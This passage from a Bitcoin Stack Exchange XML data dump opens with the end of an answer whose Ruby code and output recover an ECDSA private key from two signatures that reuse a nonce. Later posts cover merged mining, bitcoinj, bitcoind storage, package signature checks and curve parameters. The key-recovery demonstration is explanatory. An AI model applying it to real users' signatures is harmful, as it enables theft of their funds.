ECDSA::Format::SignatureDerString.decode(hex_to_binary(sig2_hex))&#xA;&#xA;raise 'R values are not the same' if sig1.r != sig2.r&#xA;&#xA;r = sig1.r&#xA;puts 'sig r: %#x' % r&#xA;puts 'sig1 s: %#x' % sig1.s&#xA;puts 'sig2 s: %#x' % sig2.s&#xA;&#xA;sig1_valid = ECDSA.valid_signature?(public_key, msghash1, sig1)&#xA;sig2_valid = ECDSA.valid_signature?(public_key, msghash2, sig2)&#xA;puts &quot;sig1 valid: #{sig1_valid}&quot;&#xA;puts &quot;sig2 valid: #{sig2_valid}&quot;&#xA;&#xA;# Step 1: k = (z1 - z2)/(s1 - s2)&#xA;field = ECDSA::PrimeField.new(group.order)&#xA;z1 = ECDSA::Format::IntegerOctetString.decode(msghash1)&#xA;z2 = ECDSA::Format::IntegerOctetString.decode(msghash2)&#xA;&#xA;k_candidates = [&#xA;  field.mod((z1 - z2) * field.inverse(sig1.s - sig2.s)),&#xA;  field.mod((z1 - z2) * field.inverse(sig1.s + sig2.s)),&#xA;  field.mod((z1 - z2) * field.inverse(-sig1.s - sig2.s)),&#xA;  field.mod((z1 - z2) * field.inverse(-sig1.s + sig2.s)),&#xA;]&#xA;&#xA;private_key = nil&#xA;k_candidates.each do |k|&#xA;  next unless group.new_point(k).x == r&#xA;  private_key_maybe = field.mod(field.mod(sig1.s * k - z1) * field.inverse(r))&#xA;  if public_key == group.new_point(private_key_maybe)&#xA;    private_key = private_key_maybe&#xA;  end&#xA;end&#xA;&#xA;puts 'private key: %#x' % private_key&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The output of the program is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public key x: 0xa50eb66887d03fe186b608f477d99bc7631c56e64bb3af7dc97e71b917c5b364&#xA;public key y: 0x7954da3444d33b8d1f90a0d7168b2f158a2c96db46733286619fccaafbaca6bc&#xA;sig r: 0x861cce1da15fc2dd79f1164c4f7b3e6c1526e7e8d85716578689ca9a5dc349d&#xA;sig1 s: 0x6cf26e2776f7c94cafcee05cc810471ddca16fa864d13d57bee1c06ce39a3188&#xA;sig2 s: 0x4ba75bdda43b3aab84b895cfd9ef13a477182657faaf286a7b0d25f0cb9a7de2&#xA;sig1 valid: true&#xA;sig2 valid: true&#xA;private key: 0xe773cf35fce567d0622203c28f67478a3361bae7e6eb4366b50e1d27eb1ed82e&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6091" LastEditorUserId="6091" LastEditDate="2015-06-03T17:30:16.183" LastActivityDate="2015-06-03T17:30:16.183" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35851" PostTypeId="1" CreationDate="2015-02-02T07:49:43.080" Score="9" ViewCount="1547" Body="&lt;p&gt;In bitcoin, miners hash the header twice with the SHA256 function. This header consists of the fields listed below, as described by &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/35699/what-is-a-block/35700#35700&quot;&gt;this question&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;version&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;previousHashBlock&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;merkleRoot&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;time&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;difficulty&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;nonce&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This header data only applies to one chain. I don't get how we can mine on two different chains, as their &lt;code&gt;merkleRoot&lt;/code&gt; and their &lt;code&gt;previousHashBlock&lt;/code&gt; are totally different? We obviously can't have the same transactions on both merkle trees since we are talking about two different cryptocurrency chains with different transactions. So how do some pools manage to do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/273/how-does-merged-mining-work&quot;&gt;&quot;How does merged mining work?&quot;&lt;/a&gt; explains the broad concept of merged mining, but I'm looking for specific technical details. A byte-by-byte description of how merged mining works would be very helpful. &lt;/p&gt;&#xA;" OwnerUserId="21331" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2015-11-23T22:52:42.933" Title="How does merged mining work on a technical level?" Tags="|blockchain|block|merged-mining|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35852" PostTypeId="1" CreationDate="2015-02-02T09:27:35.710" Score="1" ViewCount="430" Body="&lt;p&gt;Here is my code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    params = TestNet3Params.get();&#xA;    blockStore = new MemoryBlockStore(params);&#xA;&#xA;    chain = new BlockChain(params, blockStore);&#xA;    chain.addWallet(newwallet);&#xA;&#xA;    final PeerGroup peerGroup = new PeerGroup(params, chain);&#xA;    peerGroup.setUserAgent(&quot;PeerMonitor&quot;, &quot;1.0&quot;);&#xA;    peerGroup.setMaxConnections(1);&#xA;    peerGroup.addAddress(new PeerAddress(InetAddresses.forString(&quot;192.168.1.253&quot;), 18333));&#xA;&#xA;    peerGroup.addEventListener(new AbstractPeerEventListener() {&#xA;        @Override&#xA;        public void onPeerDisconnected(Peer peer, int peerCount) {&#xA;            System.out.println(&quot;hello &quot;+peer.getAddress().getAddr().getHostAddress());&#xA;            peerGroup.addPeerDiscovery(new DnsDiscovery(params)); &#xA;            System.out.println(&quot;DNS Added...!!&quot;);&#xA;&#xA;        }&#xA;    });&#xA;&#xA;    peerGroup.startAsync();&#xA;&#xA;    peerGroup.downloadBlockChain();&#xA;    System.out.println(&quot;Full Downloaded...!!&quot;);&#xA;&#xA;    List&amp;lt;Peer&amp;gt; peers=peerGroup.getConnectedPeers();&#xA;&#xA;&#xA;    System.out.println(peers);&#xA;    for (Peer peer : peers) {&#xA;        if(peer.getAddress().getAddr().getHostName().equals(&quot;192.168.1.253&quot;))&#xA;        {&#xA;            System.out.println(&quot;checking peers...!!&quot;);&#xA;            break;&#xA;        }&#xA;    }&#xA;    System.out.println(&quot;going to stop...!!&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to stop the local peer and switch to the DNS when the downloading gets completed.&lt;/p&gt;&#xA;" OwnerUserId="23188" LastEditorUserId="2306" LastEditDate="2015-02-02T10:54:28.503" LastActivityDate="2015-02-03T05:56:11.733" Title="How to manually disconnect a peer from peergroup?" Tags="|bitcoinj|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35857" PostTypeId="1" AcceptedAnswerId="35865" CreationDate="2015-02-02T11:38:16.033" Score="2" ViewCount="3231" Body="&lt;p&gt;I know there are similar posts here about utilizing MySQL as the basis for an application which contains the contents of the blockchain, but i have not seen any on-point answers to the issue of updating the database after the initial dump.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming i move forward with blockparser or ABE (or another application which you believe works better), how do i update the database after the initial dump? I have not implemented any solution yet as i would like to have this piece figured out before diving in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal is to have my local blockchain inserted into MySQL, and then have periodic updates occur to keep the database up to date.&lt;/p&gt;&#xA;" OwnerUserId="23195" LastActivityDate="2015-02-02T16:11:02.973" Title="Blockchain MySql Implementation - Updating Database" Tags="|blockchain|bitcoind|mysql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35859" PostTypeId="1" AcceptedAnswerId="35861" CreationDate="2015-02-02T15:21:32.590" Score="0" ViewCount="412" Body="&lt;p&gt;I'm running bitcoind (086) on a dedicated linux machine with about 35Gb of disk space. Earlier today I discovered the machine ran out of space (blockchain was 33 gigs) and proceeded to delete the whole directory. Now all bitcoins in the wallet are missing, balance shows 0, although I did back up and restore the wallet.dat file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it normal for the blockchain to grow to that size?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there another way to clean it up periodically, say, via a cron job?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I keep hoping that the missing coins will return to the wallet somehow, maybe after it downloads the blockchain again?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TIA!&lt;/p&gt;&#xA;" OwnerUserId="7034" LastActivityDate="2015-02-02T16:02:55.327" Title="Bitcoind linux disk usage" Tags="|bitcoind|linux|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35860" PostTypeId="2" ParentId="35859" CreationDate="2015-02-02T15:35:00.550" Score="0" Body="&lt;p&gt;The blockchain is around 30 gigabytes. Unfortunately, if you want to use a full node client like bitcoind, you need all of that data. It's possible to prune the blockchain to just the unspent transactions, but the core devs have not implemented this yet on bitcoind. So no, you can't reduce the blockchain size as you need all of that data for a properly running bitcoind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are alternatives like &lt;a href=&quot;https://electrum.org/&quot; rel=&quot;nofollow&quot;&gt;electrum&lt;/a&gt; which use something called SPV to make the footprint of the application much smaller. This does require that you trust electrum servers, but it's very hard to fake that data, so it's fairly safe.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-02-02T15:35:00.550" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35861" PostTypeId="2" ParentId="35859" CreationDate="2015-02-02T15:35:08.937" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Should I keep hoping that the missing coins will return to the wallet somehow, &gt;maybe after it downloads the blockchain again?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, they will not return, since you deleted the whole directory, particularly your &lt;code&gt;wallet.dat&lt;/code&gt;. You may recover the previous wallet by copying the original &lt;code&gt;wallet.dat&lt;/code&gt; to the directory with current &lt;code&gt;wallet.dat&lt;/code&gt;, followed by running this command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind -rescan &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will scan the balance for wallet.dat that is stored in Bitcoin data directory, on inlux &lt;code&gt;~/.bitcoin/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: from (Nate Eldredge) -rescan would only work after downloading the whole blockchain. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is it normal for the blockchain to grow to that size?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, bitcoin blockchain grows exponentionaly as the amount of transactions still increases, &lt;a href=&quot;https://blockchain.info/charts/blocks-size&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/charts/blocks-size&lt;/a&gt;. However there are some light-weight clients that require just few MB of disk space. Keep in mind that these depend on 3rd party servers that provide you with information about unspent transaction and your balance, look for Multibit or Electrum.&lt;/p&gt;&#xA;" OwnerUserId="6540" LastEditorUserId="6540" LastEditDate="2015-02-02T16:02:55.327" LastActivityDate="2015-02-02T16:02:55.327" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35862" PostTypeId="2" ParentId="20021" CreationDate="2015-02-02T15:35:37.510" Score="1" Body="&lt;p&gt;I suggest you take a look at &lt;a href=&quot;http://www.coinwarz.com/v1/api/documentation&quot; rel=&quot;nofollow noreferrer&quot;&gt;CoinWarz's API&lt;/a&gt;, you can collect your own set of data for a period of time out of it (say 10 latest days, format it your own way and save it on a spreadsheet). You'll need to &lt;a href=&quot;http://www.coinwarz.com/v1/api/generateapikey&quot; rel=&quot;nofollow noreferrer&quot;&gt;generate an API key on their site&lt;/a&gt;, and then you could either use your own scripts, or &lt;a href=&quot;http://www.coinwarz.com/v1/api/profitability/?apikey=YOUR_API_KEY&amp;amp;algo=all&quot; rel=&quot;nofollow noreferrer&quot;&gt;visit the API endpoint manually&lt;/a&gt; to collect the data, if you so desire (remember that you need your own API KEY to get the data).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have the data you could generate your own graph within a spreadsheet or your  software of preference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recomendations: &lt;a href=&quot;http://www.openoffice.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;OpenOffice&lt;/a&gt; (&lt;a href=&quot;http://www.openoffice.org/documentation/manuals/oooauthors/Creating_Charts_Graphs.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;info&lt;/a&gt; on graphs, &lt;a href=&quot;http://www.openoffice.org/download/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;download page&lt;/a&gt;), &lt;a href=&quot;http://www.libreoffice.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;LibreOffice&lt;/a&gt; (&lt;a href=&quot;https://help.libreoffice.org/Chart/Charts_in&quot; rel=&quot;nofollow noreferrer&quot;&gt;info&lt;/a&gt; on making graphs, &lt;a href=&quot;https://www.libreoffice.org/download/libreoffice-fresh/&quot; rel=&quot;nofollow noreferrer&quot;&gt;download page&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the &lt;a href=&quot;http://www.coinwarz.com/v1/api/documentation&quot; rel=&quot;nofollow noreferrer&quot;&gt;reference&lt;/a&gt; for that specific API call (quoted from coinWarz's documentation)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;em&gt;Mining Profitability API&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The Mining Profitability API provides profitability data listed on CoinWarz.com. This &gt;data can be for all coins or for specific hashing algorithms: SHA-256, Scrypt, Scrypt-N, &gt;X11, X13, Keccak, Quark, Groestl, JHA, Blake-256, NeoScrypt, Lyra2RE&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;&lt;em&gt;API Endpoint&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;http://www.coinwarz.com/v1/api/profitability/?apikey=YOUR_API_KEY&amp;amp;algo=all&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.coinwarz.com/v1/api/profitability/?apikey=YOUR_API_KEY&amp;amp;algo=all&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;&lt;em&gt;API Call Usage&lt;/em&gt;&lt;/strong&gt;&#xA;  This value will be deducted from your API usage limit each time you successfully call this API.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Required Input Parameters&#xA;  All input parameters are required and not case sensitive.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Parameter&lt;/strong&gt; - &lt;em&gt;Data Type&lt;/em&gt; - Description&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;ApiKey&lt;/strong&gt; - &lt;em&gt;String&lt;/em&gt; - Provide your approved API key for this parameter.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Algo&lt;/strong&gt; - &lt;em&gt;String&lt;/em&gt;    - Provide one of the the following values for this parameter: &#xA;  all, sha-256, scrypt, scrypt-n, x11, x13, keccak, quark, groestl, jha, blake-256, &gt;neoscrypt, lyra2re&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Remember that each time you either visit the &lt;a href=&quot;https://en.wikipedia.org/wiki/Application_programming_interface&quot; rel=&quot;nofollow noreferrer&quot;&gt;API Endpoint&lt;/a&gt; or call it to fetch the info with a script, it'll count as 1 call out of your limit, as noted on their documentation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the easiest way for you to collect the data if you're not into programming your own stuff, would be to use some &lt;a href=&quot;https://en.wikipedia.org/wiki/Representational_state_transfer&quot; rel=&quot;nofollow noreferrer&quot;&gt;REST&lt;/a&gt; client extension for your browser such as &lt;a href=&quot;https://chrome.google.com/webstore/search/postman%20rest%20client?hl=en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Postman REST client&lt;/a&gt; (If you use a different browser look into their respective stores)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's fairly easy to get used to and you do not need to code your own scripts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example of how the info would be rendered for to you:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/O62d3.png&quot; alt=&quot;Postman REST client call to CoinWarz API Endpoint&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;(remember you need to place your own API key in lieu of the placeholder &quot;YOUR_API_KEY&quot;)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend you use the &lt;strong&gt;JSON&lt;/strong&gt; and &lt;strong&gt;PRETTY&lt;/strong&gt; options so the data is more human readable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then export this to a &lt;a href=&quot;https://en.wikipedia.org/wiki/Comma-separated_values&quot; rel=&quot;nofollow noreferrer&quot;&gt;CSV file&lt;/a&gt; using this awesome tool (&lt;a href=&quot;http://konklone.io/json/&quot; rel=&quot;nofollow noreferrer&quot;&gt;JSON to CSV&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This site allows you to pase the &lt;a href=&quot;https://en.wikipedia.org/wiki/JSON&quot; rel=&quot;nofollow noreferrer&quot;&gt;JSON&lt;/a&gt; data and transfer each value pair to a CSV file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here an example of how it looks: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Evish.png&quot; alt=&quot;JSON to CSV in action&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you have a (set of, since you need multiple days) CSV file that you can use for graph creation using the aforementioned Office Suite Tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope you'll find this helpful, and good luck!&lt;/p&gt;&#xA;" OwnerUserId="22974" LastEditorUserId="22974" LastEditDate="2015-02-03T01:39:25.143" LastActivityDate="2015-02-03T01:39:25.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35864" PostTypeId="2" ParentId="35840" CreationDate="2015-02-02T15:51:23.263" Score="1" Body="&lt;p&gt;The offline bundle actually doesn't have a signature inside the deb file. You can see this by extracting the bundle as you did:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ tar xvzf armory_0.92.3_offline_ubuntu_12.04-32.tar.gz&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you can check the contents of the .deb file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ cd OfflineBundle&#xA;$ ar vx armory_0.92.3_ubuntu-32bit.deb&#xA;x - debian-binary&#xA;x - control.tar.gz&#xA;x - data.tar.gz&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you download the armory_0.92.3_ubuntu-32.deb file &lt;a href=&quot;https://s3.amazonaws.com/bitcoinarmory-releases/armory_0.92.3_ubuntu-32bit.deb&quot; rel=&quot;nofollow&quot;&gt;directly&lt;/a&gt;, you can see that it's a little different&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ wget https://s3.amazonaws.com/bitcoinarmory-releases/armory_0.92.3_ubuntu-32bit.deb&#xA;$ ar vx armory_0.92.3_ubuntu-32bit.deb&#xA;x - debian-binary&#xA;x - control.tar.gz&#xA;x - data.tar.gz&#xA;x - _gpgbuilder&#xA;$ dpkg-sig --verify armory_0.92.3_ubuntu-32bit.deb &#xA;Processing armory_0.92.3_ubuntu-32bit.deb...&#xA;GOODSIG _gpgbuilder 821F122936BDD565366AC36A4AB16AEA98832223 1412393663&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;dpkg-sig&lt;/code&gt; needs the &lt;code&gt;_gpgbuilder&lt;/code&gt; file to check the signature against the contents of the package. The Offline package doesn't have this file while the direct download does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest you grab the &lt;a href=&quot;https://s3.amazonaws.com/bitcoinarmory-releases/armory_0.92.3_ubuntu-32bit.deb&quot; rel=&quot;nofollow&quot;&gt;direct download&lt;/a&gt; and place that file in the OfflineBundle directory after verifying the signature if you're concerned about some sort of man-in-the-middle attack.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-02-02T15:51:23.263" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35865" PostTypeId="2" ParentId="35857" CreationDate="2015-02-02T16:11:02.973" Score="1" Body="&lt;p&gt;Several options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Connect to the bitcoin network directly, parse all messages, verify the blocks and insert all the transactions contained within it into the MySQL db. This is going to be a bit hard since you have to write code to connect to the network.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Run bitcoind side-by-side with the MySQL db and use some combination of the &lt;code&gt;getblockcount&lt;/code&gt;, &lt;code&gt;getblockhash&lt;/code&gt;, &lt;code&gt;getblock&lt;/code&gt;, &lt;code&gt;gettransaction&lt;/code&gt; RPC commands and insert the transaction data into the MySQL db. You can run a cron on this every 5 minutes or so and you should have a fairly up-to-date MySQL db. This comes at the cost of considerable disk space since you'll need to have the entire blockchain for bitcoind (30 gigs and growing).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Connect to some other service and get the data that way. Blockchain.info is the obvious one and they have a wonderful API for getting all the new data you need. Unfortunately, you'll have to trust them to provide the right data. There's also electrum servers which provide data using stratum and ABE and some others. Heck, if you can get someone to open up their RPC port (8333) on bitcoind, you can connect to their bitcoind and use the same commands as #2. The drawback here is that you have to trust a third party in some way, shape or form, though, of course, you can write your own verification code.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Regardless of which thing you choose, you'll need to handle some difficult things like orphaned blocks when trying to keep this db up-to-date.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-02-02T16:11:02.973" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35867" PostTypeId="2" ParentId="28223" CreationDate="2015-02-02T22:58:41.423" Score="0" Body="&lt;p&gt;on Windows for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;oclvanitygen.exe -D 1:0 1YourName&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11946" LastActivityDate="2015-02-02T22:58:41.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35869" PostTypeId="2" ParentId="2380" CreationDate="2015-02-03T00:57:12.030" Score="0" Body="&lt;p&gt;You have access to the private key to you shouldn't worry; you will recieve the bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="23181" LastActivityDate="2015-02-03T00:57:12.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35870" PostTypeId="2" ParentId="35851" CreationDate="2015-02-03T02:17:29.350" Score="6" Body="&lt;p&gt;There's actually a very good detailed specification on the &lt;a href=&quot;https://en.bitcoin.it/wiki/Merged_mining_specification&quot; rel=&quot;nofollow&quot;&gt;bitcoin.it site&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, what it comes down to is that there's some data inserted into the coinbase transaction of the parent chain. So, assuming, for example, that Bitcoin is the parent chain and Namecoin the child chain, anyone merge-mining would be using a coinbase transaction in Bitcoin that has a particular script that looks like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;4 bytes magic (0xfa, 0xbe)&lt;/li&gt;&#xA;&lt;li&gt;32 bytes hash of auxPOW header&lt;/li&gt;&#xA;&lt;li&gt;4 bytes merkle size&lt;/li&gt;&#xA;&lt;li&gt;4 bytes merkle nonce&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For now, note that the 32 byte hash of the auxPOW header is the important thing. We'll get to explaining what that is later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The actual block submitted to Namecoin is actually slightly different. It has a few extra fields like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bitcoin's coinbase txn&lt;/li&gt;&#xA;&lt;li&gt;merkle branch (essentially an SPV proof) of the coinbase txn being in Bitcoin's block&lt;/li&gt;&#xA;&lt;li&gt;Namecoin's previous block hash&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This block is called the AuxPOW block and is actually what gets submitted to the Namecoin block chain. Now, what's to stop anyone finding a block on Bitcoin and submitting the block to Namecoin by adding this extra data? This is where the hash of the AuxPOW in the coinbase transaction of Bitcoin is important.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The AuxPOW hash can be computed ahead of time and must be included in the coinbase transaction of Bitcoin in order for Namecoin to accept it. Thus, anyone merge-mining must be aware of the Namecoin blockchain as they're looking for Bitcoin blocks. Otherwise, Namecoin doesn't accept blocks that just have data added afterwards. The Proof-of-work on Bitcoin already has previous Namecoin block information in the coinbase transaction, tying the two chains together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;merkle size and merkle nonce are 1 and 0 if you're merge mining only 1 other chain. These two variables were set up so that you could merge-mine more than 1 other child blockchain, but it's actually broken. There's a workaround described &lt;a href=&quot;https://en.bitcoin.it/wiki/Merged_mining_specification#Aux_work_merkle_tree&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastEditorUserId="23123" LastEditDate="2015-02-03T14:06:17.373" LastActivityDate="2015-02-03T14:06:17.373" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35871" PostTypeId="2" ParentId="35814" CreationDate="2015-02-03T04:55:07.813" Score="2" Body="&lt;p&gt;Quoting &lt;a href=&quot;https://crypto.stackexchange.com/a/22739/12164&quot;&gt;cryptography.stackexchange.com&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Given that N and P are prime, one obvious way to do this is to select a random value g from [1,N−1], and compute g^((N−1)/3) mod N; assuming that N≡1(mod 3), this resulting value will either be 1, the displayed value of λ, or N−λ−1 (with equal probabilities of each). If N≢1(mod 3), then the only modular cube root of 1 will be 1.&lt;/p&gt;&#xA;&lt;p&gt;And, to compute β, you do the same with P.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;The reason this works is due to Fermat's little theorem which states:&lt;/p&gt;&#xA;&lt;p&gt;g^(N-1) ≡ 1 (mod N)&lt;/p&gt;&#xA;&lt;p&gt;which implies&lt;/p&gt;&#xA;&lt;p&gt;(g^((N-1)/3))^3 ≡ 1 (mod N)&lt;/p&gt;&#xA;&lt;p&gt;which implies&lt;/p&gt;&#xA;&lt;p&gt;g^((N-1)/3) is our potential λ. If it's not 1, it'll work for the purposes of endomorphism.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-10-29T18:02:52.807" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35872" PostTypeId="2" ParentId="35814" CreationDate="2015-02-03T05:03:45.027" Score="4" Body="&lt;p&gt;With a bit of reverse engineering, I think I was able to see how Hal was able to get to these results. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, it's a pretty well known result of Fermat's little theorem that if &lt;code&gt;p&lt;/code&gt; is a prime number and &lt;code&gt;g&lt;/code&gt; is a generator for the field &lt;code&gt;Z/pZ&lt;/code&gt;, then:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;g ^ (p - 1) = 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note, don't confuse this abstract generator &lt;code&gt;g&lt;/code&gt; with the generator for the secp256k1 group &lt;code&gt;G&lt;/code&gt;. Now, given the above equation, it's not a big leap to see that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(g ^ ((p - 1)/3)^3 = g ^ (p - 1) = 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thus, we can find &lt;code&gt;λ&lt;/code&gt; and &lt;code&gt;β&lt;/code&gt; by first finding generators for &lt;code&gt;Z/NZ&lt;/code&gt; and &lt;code&gt;Z/PZ&lt;/code&gt; (&lt;code&gt;N&lt;/code&gt; and &lt;code&gt;P&lt;/code&gt; being the parameters given in the original question), and then raising them to the &lt;code&gt;(N-1)/3&lt;/code&gt; and &lt;code&gt;(P-1)/3&lt;/code&gt; powers, respectively. You can check that both &lt;code&gt;N-1&lt;/code&gt; and &lt;code&gt;P-1&lt;/code&gt; are divisible by 3. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The generator that it seems Hal used for &lt;code&gt;λ&lt;/code&gt; is 3, and for &lt;code&gt;β&lt;/code&gt; is 2. I'm not sure why he picked those, there are plenty of other good generators to choose from. It was probably on a trial and error basis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using sage mathematics notebook, I was able to produce the same values for &lt;code&gt;λ&lt;/code&gt; and &lt;code&gt;β&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/35XYp.png&quot; 